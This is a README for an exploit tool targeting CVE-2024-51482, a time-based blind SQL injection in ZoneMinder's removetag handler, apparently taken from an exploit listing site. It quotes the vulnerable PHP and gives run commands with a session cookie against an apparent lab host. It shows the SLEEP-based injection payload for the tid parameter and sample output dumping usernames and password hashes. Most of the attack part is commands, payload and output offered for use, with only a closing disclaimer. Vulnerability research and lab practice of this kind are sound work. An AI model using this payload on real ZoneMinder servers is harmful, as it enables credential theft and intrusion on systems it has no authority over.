Share
## https://sploitus.com/exploit?id=5A8A44BB-B530-55E0-B83E-4F2D87304ACB
# CVE-2024-51482 โ€” ZoneMinder Time-Based Blind SQL Injection

A proof-of-concept exploit for **CVE-2024-51482**, an authenticated time-based blind SQL injection vulnerability in **ZoneMinder v1.37.* โ‰ค 1.37.64**.

The script extracts usernames and password hashes from the `zm.Users` table using binary search (bisection) over a `SLEEP()`-based oracle.

---

## Vulnerability

The `removetag` handler in `web/ajax/event.php` safely parameterizes a `DELETE` query but then directly interpolates user-controlled input into a subsequent `SELECT`:

```php
// Safe โ€” parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable โ€” string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
```

`$tagId` comes straight from `$_REQUEST['tid']` with no sanitization, allowing injection through the `tid` parameter.

---

## Requirements

- Python 3.8+
- `requests` (`pip install requests`)
- A valid `ZMSESSID` session cookie from a logged-in ZoneMinder account

---

## Usage

```bash
python3 CVE-2024-51482.py --url  --zmsessid 
```

**Arguments:**

- `--url` โ€” ZoneMinder base URL (e.g. `http://cctv.htb/zm`) *(required)*
- `--zmsessid` โ€” `ZMSESSID` cookie value *(required)*
- `--sleep` โ€” sleep seconds for time-based inference (default: `3`)
- `--timeout` โ€” request timeout in seconds (default: `sleep + 3`)

**Examples:**

```bash
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
```

### Getting the Session Cookie

Log in to ZoneMinder, open browser DevTools (**F12**) -> **Application** -> **Cookies**, and copy the value of `ZMSESSID`. Alternatively, intercept any authenticated request in Burp Suite and grab it from the `Cookie` header.

---

## Output

```
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
```

---

## How It Works

1. **Baseline** โ€” sends a clean `tid=1` request to measure normal response time.
2. **Confirmation** โ€” injects `SLEEP(2)` and verifies the response is delayed โ‰ฅ2 seconds.
3. **Row count** โ€” binary searches `COUNT(*)` on `zm.Users` to find how many accounts exist.
4. **Extraction** โ€” for each user, binary searches the ASCII value of every character in both `Username` and `Password` (~7 requests per character vs. 95 for linear scan).

**Payload structure:**

```sql
GET /zm/index.php?view=request&request=event&action=removetag&tid=&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE ) as dummy)
```

`id=1` is required because the safe `DELETE` before the vulnerable `SELECT` would throw a `500` error without it, aborting execution before injection is reached.

---

## References

- [CVE-2024-51482 โ€” NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-51482)
- [ZoneMinder โ€” event.php (1.37.63)](https://github.com/ZoneMinder/zoneminder/blob/1.37.63/web/ajax/event.php)

---

## Disclaimer

This tool is for **authorized security testing and educational research only**.  
Always obtain explicit written permission before testing any system you do not own.  
The author assumes no responsibility for misuse or damage caused by this software.